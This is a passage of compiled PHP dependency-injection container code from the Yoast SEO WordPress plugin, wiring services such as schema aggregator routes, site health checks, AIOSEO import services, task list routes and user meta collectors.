protected function getSiteSchemaAggregatorCliCommandService() { return $this->services['Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Aggregator_Cli_Command'] = new \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Aggregator_Cli_Command(($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] ?? ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] = new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Config())), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Aggregate_Site_Schema_Command_Handler'] ?? $this->getAggregateSiteSchemaCommandHandlerService())); } /** * Gets the public 'Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Aggregator_Route' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Aggregator_Route */ protected function getSiteSchemaAggregatorRouteService() { return $this->services['Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Aggregator_Route'] = new \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Aggregator_Route(($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] ?? ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] = new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Config())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper())), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Aggregate_Site_Schema_Command_Handler'] ?? $this->getAggregateSiteSchemaCommandHandlerService()), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Cache\\Manager'] ?? $this->getManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Aggregator_Xml_Route' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Aggregator_Xml_Route */ protected function getSiteSchemaAggregatorXmlRouteService() { $a = ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()); return $this->services['Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Aggregator_Xml_Route'] = new \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Aggregator_Xml_Route(new \Yoast\WP\SEO\Schema_Aggregator\Application\Aggregate_Site_Schema_Map_Command_Handler(new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Map\Schema_Map_Repository_Factory(new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Map\Schema_Map_Indexable_Repository($a), new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Map\Schema_Map_WordPress_Repository($a)), new \Yoast\WP\SEO\Schema_Aggregator\Application\Schema_Map\Schema_Map_Builder(($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] ?? ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Config'] = new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Config()))), new \Yoast\WP\SEO\Schema_Aggregator\Application\Schema_Map\Schema_Map_Xml_Renderer(new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Map\Schema_Map_Config()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Application\\Cache\\Xml_Manager'] ?? $this->getXmlManagerService()), ($this->privates['Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Aggregator_Config'] ?? $this->getAggregatorConfigService())); } /** * Gets the public 'Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Response_Header_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Response_Header_Integration */ protected function getSiteSchemaResponseHeaderIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Response_Header_Integration'] = new \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Response_Header_Integration(new \Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Map\Schema_Map_Header_Adapter()); } /** * Gets the public 'Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Robots_Txt_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Robots_Txt_Integration */ protected function getSiteSchemaRobotsTxtIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Robots_Txt_Integration'] = new \Yoast\WP\SEO\Schema_Aggregator\User_Interface\Site_Schema_Robots_Txt_Integration(); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Check' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Check */ protected function getDefaultTaglineCheckService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Check'] = new \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Check(($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Runner())), ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Reports'] ?? $this->getDefaultTaglineReportsService())); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Reports' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Reports */ protected function getDefaultTaglineReportsService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Reports'] = new \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Reports(($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory()))); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Runner' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Runner */ protected function getDefaultTaglineRunnerService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Default_Tagline_Runner(); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Links_Table_Check' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Links_Table_Check */ protected function getLinksTableCheckService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Check'] = new \Yoast\WP\SEO\Services\Health_Check\Links_Table_Check(($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Runner'] ?? $this->getLinksTableRunnerService()), ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Reports'] ?? $this->getLinksTableReportsService()), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Should_Index_Links_Conditional'] ?? $this->getShouldIndexLinksConditionalService())); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Links_Table_Reports' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Links_Table_Reports */ protected function getLinksTableReportsService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Reports'] = new \Yoast\WP\SEO\Services\Health_Check\Links_Table_Reports(($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory())), ($this->services['WPSEO_Shortlinker'] ?? $this->getWPSEOShortlinkerService())); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Links_Table_Runner' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Links_Table_Runner */ protected function getLinksTableRunnerService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Links_Table_Runner(($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] ?? ($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] = new \Yoast\WP\SEO\Config\Migration_Status())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\MyYoast_Api_Request_Factory' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\MyYoast_Api_Request_Factory */ protected function getMyYoastApiRequestFactoryService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\MyYoast_Api_Request_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\MyYoast_Api_Request_Factory(); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Page_Comments_Check' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Check */ protected function getPageCommentsCheckService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Check'] = new \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Check(($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Runner'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Runner())), ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Reports'] ?? $this->getPageCommentsReportsService())); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Page_Comments_Reports' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Reports */ protected function getPageCommentsReportsService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Reports'] = new \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Reports(($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory()))); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Page_Comments_Runner' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Runner */ protected function getPageCommentsRunnerService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Page_Comments_Runner(); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Check' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Check */ protected function getPostnamePermalinkCheckService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Check'] = new \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Check(($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Runner'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Runner())), ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Reports'] ?? $this->getPostnamePermalinkReportsService())); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Reports' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Reports */ protected function getPostnamePermalinkReportsService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Reports'] = new \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Reports(($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] ?? ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory()))); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Runner' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Runner */ protected function getPostnamePermalinkRunnerService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Runner(); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Report_Builder' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Report_Builder */ protected function getReportBuilderService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder(); } /** * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory' shared autowired service. * * @return \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory */ protected function getReportBuilderFactoryService() { return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory(); } /** * Gets the public 'Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service' shared autowired service. * * @return \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service */ protected function getAioseoReplacevarServiceService() { return $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service(); } /** * Gets the public 'Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Provider_Service' shared autowired service. * * @return \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Provider_Service */ protected function getAioseoRobotsProviderServiceService() { return $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Provider_Service(($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] ?? $this->getAioseoHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Transformer_Service' shared autowired service. * * @return \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Transformer_Service */ protected function getAioseoRobotsTransformerServiceService() { return $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Transformer_Service(($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] ?? $this->getAioseoRobotsProviderServiceService())); } /** * Gets the public 'Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Social_Images_Provider_Service' shared autowired service. * * @return \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Social_Images_Provider_Service */ protected function getAioseoSocialImagesProviderServiceService() { return $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Social_Images_Provider_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Social_Images_Provider_Service(($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] ?? $this->getAioseoHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Services\Importing\Conflicting_Plugins_Service' shared autowired service. * * @return \Yoast\WP\SEO\Services\Importing\Conflicting_Plugins_Service */ protected function getConflictingPluginsServiceService() { return $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Conflicting_Plugins_Service'] = new \Yoast\WP\SEO\Services\Importing\Conflicting_Plugins_Service(); } /** * Gets the public 'Yoast\WP\SEO\Services\Importing\Importable_Detector_Service' shared autowired service. * * @return \Yoast\WP\SEO\Services\Importing\Importable_Detector_Service */ protected function getImportableDetectorServiceService() { return $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service'] = new \Yoast\WP\SEO\Services\Importing\Importable_Detector_Service(($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action'] ?? $this->getAioseoCleanupActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action'] ?? $this->getAioseoCustomArchiveSettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action'] ?? $this->getAioseoDefaultArchiveSettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action'] ?? $this->getAioseoGeneralSettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action'] ?? $this->getAioseoPostsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action'] ?? $this->getAioseoPosttypeDefaultsSettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action'] ?? $this->getAioseoTaxonomySettingsImportingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action'] ?? $this->getAioseoValidateDataActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action'] ?? $this->getDeactivateConflictingPluginsActionService())); } /** * Gets the public 'Yoast\WP\SEO\Services\Indexables\Indexable_Version_Manager' shared autowired service. * * @return \Yoast\WP\SEO\Services\Indexables\Indexable_Version_Manager */ protected function getIndexableVersionManagerService() { return $this->services['Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager'] = new \Yoast\WP\SEO\Services\Indexables\Indexable_Version_Manager(($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] ?? ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions()))); } /** * Gets the public 'Yoast\WP\SEO\Surfaces\Classes_Surface' shared autowired service. * * @return \Yoast\WP\SEO\Surfaces\Classes_Surface */ protected function getClassesSurfaceService() { return $this->services['Yoast\\WP\\SEO\\Surfaces\\Classes_Surface'] = new \Yoast\WP\SEO\Surfaces\Classes_Surface($this); } /** * Gets the public 'Yoast\WP\SEO\Surfaces\Helpers_Surface' shared autowired service. * * @return \Yoast\WP\SEO\Surfaces\Helpers_Surface */ protected function getHelpersSurfaceService() { return $this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Helpers_Surface($this, ($this->services['Yoast\\WP\\SEO\\Surfaces\\Open_Graph_Helpers_Surface'] ?? ($this->services['Yoast\\WP\\SEO\\Surfaces\\Open_Graph_Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Open_Graph_Helpers_Surface($this))), ($this->services['Yoast\\WP\\SEO\\Surfaces\\Schema_Helpers_Surface'] ?? ($this->services['Yoast\\WP\\SEO\\Surfaces\\Schema_Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Schema_Helpers_Surface($this))), ($this->services['Yoast\\WP\\SEO\\Surfaces\\Twitter_Helpers_Surface'] ?? ($this->services['Yoast\\WP\\SEO\\Surfaces\\Twitter_Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Twitter_Helpers_Surface($this)))); } /** * Gets the public 'Yoast\WP\SEO\Surfaces\Meta_Surface' shared autowired service. * * @return \Yoast\WP\SEO\Surfaces\Meta_Surface */ protected function getMetaSurfaceService() { return $this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] = new \Yoast\WP\SEO\Surfaces\Meta_Surface($this, ($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] ?? $this->getMetaTagsContextMemoizerService()), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper'] ?? ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Surfaces\Open_Graph_Helpers_Surface' shared autowired service. * * @return \Yoast\WP\SEO\Surfaces\Open_Graph_Helpers_Surface */ protected function getOpenGraphHelpersSurfaceService() { return $this->services['Yoast\\WP\\SEO\\Surfaces\\Open_Graph_Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Open_Graph_Helpers_Surface($this); } /** * Gets the public 'Yoast\WP\SEO\Surfaces\Schema_Helpers_Surface' shared autowired service. * * @return \Yoast\WP\SEO\Surfaces\Schema_Helpers_Surface */ protected function getSchemaHelpersSurfaceService() { return $this->services['Yoast\\WP\\SEO\\Surfaces\\Schema_Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Schema_Helpers_Surface($this); } /** * Gets the public 'Yoast\WP\SEO\Surfaces\Twitter_Helpers_Surface' shared autowired service. * * @return \Yoast\WP\SEO\Surfaces\Twitter_Helpers_Surface */ protected function getTwitterHelpersSurfaceService() { return $this->services['Yoast\\WP\\SEO\\Surfaces\\Twitter_Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Twitter_Helpers_Surface($this); } /** * Gets the public 'Yoast\WP\SEO\Task_List\Infrastructure\Register_Post_Type_Tasks_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Task_List\Infrastructure\Register_Post_Type_Tasks_Integration */ protected function getRegisterPostTypeTasksIntegrationService() { $this->services['Yoast\\WP\\SEO\\Task_List\\Infrastructure\\Register_Post_Type_Tasks_Integration'] = $instance = new \Yoast\WP\SEO\Task_List\Infrastructure\Register_Post_Type_Tasks_Integration(($this->privates['Yoast\\WP\\SEO\\Task_List\\Application\\Tasks\\Set_Search_Appearance_Templates'] ?? $this->getSetSearchAppearanceTemplatesService())); $instance->set_post_type_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Task_List\User_Interface\Tasks\Complete_Task_Route' shared autowired service. * * @return \Yoast\WP\SEO\Task_List\User_Interface\Tasks\Complete_Task_Route */ protected function getCompleteTaskRouteService() { return $this->services['Yoast\\WP\\SEO\\Task_List\\User_Interface\\Tasks\\Complete_Task_Route'] = new \Yoast\WP\SEO\Task_List\User_Interface\Tasks\Complete_Task_Route(($this->privates['Yoast\\WP\\SEO\\Task_List\\Infrastructure\\Tasks_Collectors\\Tasks_Collector'] ?? $this->getTasksCollectorService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper())), ($this->privates['Yoast\\WP\\SEO\\Tracking\\Application\\Action_Tracker'] ?? $this->getActionTrackerService())); } /** * Gets the public 'Yoast\WP\SEO\Task_List\User_Interface\Tasks\Get_Tasks_Route' shared autowired service. * * @return \Yoast\WP\SEO\Task_List\User_Interface\Tasks\Get_Tasks_Route */ protected function getGetTasksRouteService() { return $this->services['Yoast\\WP\\SEO\\Task_List\\User_Interface\\Tasks\\Get_Tasks_Route'] = new \Yoast\WP\SEO\Task_List\User_Interface\Tasks\Get_Tasks_Route(new \Yoast\WP\SEO\Task_List\Application\Tasks_Repository(new \Yoast\WP\SEO\Task_List\Infrastructure\Tasks_Collectors\Cached_Tasks_Collector(($this->privates['Yoast\\WP\\SEO\\Task_List\\Infrastructure\\Tasks_Collectors\\Tasks_Collector'] ?? $this->getTasksCollectorService()))), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper())), ($this->privates['Yoast\\WP\\SEO\\Tracking\\Application\\Action_Tracker'] ?? $this->getActionTrackerService())); } /** * Gets the public 'Yoast\WP\SEO\Tracking\Infrastructure\Tracking_On_Page_Load_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Tracking\Infrastructure\Tracking_On_Page_Load_Integration */ protected function getTrackingOnPageLoadIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Tracking\\Infrastructure\\Tracking_On_Page_Load_Integration'] = new \Yoast\WP\SEO\Tracking\Infrastructure\Tracking_On_Page_Load_Integration(($this->privates['Yoast\\WP\\SEO\\Tracking\\Application\\Action_Tracker'] ?? $this->getActionTrackerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Tracking\User_Interface\Action_Tracking_Route' shared autowired service. * * @return \Yoast\WP\SEO\Tracking\User_Interface\Action_Tracking_Route */ protected function getActionTrackingRouteService() { return $this->services['Yoast\\WP\\SEO\\Tracking\\User_Interface\\Action_Tracking_Route'] = new \Yoast\WP\SEO\Tracking\User_Interface\Action_Tracking_Route(($this->privates['Yoast\\WP\\SEO\\Tracking\\Application\\Action_Tracker'] ?? $this->getActionTrackerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\User_Meta\Application\Additional_Contactmethods_Collector' shared autowired service. * * @return \Yoast\WP\SEO\User_Meta\Application\Additional_Contactmethods_Collector */ protected function getAdditionalContactmethodsCollectorService() { return $this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector'] = new \Yoast\WP\SEO\User_Meta\Application\Additional_Contactmethods_Collector(new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Facebook(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Instagram(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Linkedin(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Myspace(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Pinterest(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Soundcloud(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Tumblr(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Wikipedia(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\X(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Youtube()); } /** * Gets the public 'Yoast\WP\SEO\User_Meta\Application\Custom_Meta_Collector' shared autowired service. * * @return \Yoast\WP\SEO\User_Meta\Application\Custom_Meta_Collector */ protected function getCustomMetaCollectorService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())); return $this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector'] = new \Yoast\WP\SEO\User_Meta\Application\Custom_Meta_Collector(new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Author_Metadesc($a), new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Author_Pronouns($a), new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Author_Title($a), new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Content_Analysis_Disable($a), new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Inclusive_Language_Analysis_Disable($a), new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Keyword_Analysis_Disable($a), new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Noindex_Author($a)); } /** * Gets the public 'Yoast\WP\SEO\User_Meta\User_Interface\Additional_Contactmethods_Integration' shared autowired service. * * @return \Yoast\WP\SEO\User_Meta\User_Interface\Additional_Contactmethods_Integration */ protected function getAdditionalContactmethodsIntegrationService() { return $this->services['Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Additional_Contactmethods_Integration'] = new 